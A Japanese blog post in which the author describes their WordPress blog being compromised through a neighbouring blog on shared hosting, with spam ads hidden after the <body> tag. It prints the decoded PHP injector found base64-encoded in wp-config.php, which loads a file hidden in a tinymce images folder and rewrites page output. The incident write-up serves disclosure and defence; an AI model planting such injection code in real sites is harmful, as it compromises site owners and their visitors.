(この)blogがクラックされた。
具体的には、<body>タグの直後に64kくらいの(!)SPAM広告が埋め込まれる、というクラック。
kazuさんに指摘されて気づいたのだが、CSSを切らないと画面には表示されないようになっていた。
指摘された後もなにが起きているのかわからず、WordPressを最新ソースに差し替えたりしたのだが、直らず。
と、思っていたら、WordPress設定ファイルである、wp-config.php自体が汚染されていた。
かつ、埋め込まれたコードはbase64でエンコードされており、単純には見つからない仕組みになっていた。
ちなみにこんなコード。けらくんに解読してもらった。
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('/home/www/wordpress/wp-includes/js/
tinymce/themes/advanced/images/xp/js.php')){
include_once('/home/www/wordpress/wp-includes/js/
tinymce/themes/advanced/images/xp/js.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\<body/si',$c)){
return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}
もう一つ自己増殖するコードも埋め込まれていた模様。
実はこのblog(underconcept)ではなく、同じサーバで運営していた別のblogが原因でこちらのblogも汚染されていた。
これはこのblogを乗せているさくらインターネットがユーザーの権限でApacheを動かしていたため、パーミッション644のファイル(ほぼすべて)が、Apacheの権限で書き換えられてしまったことに起因しそう。
問題のありそうなテーマ等は現在解析中です。
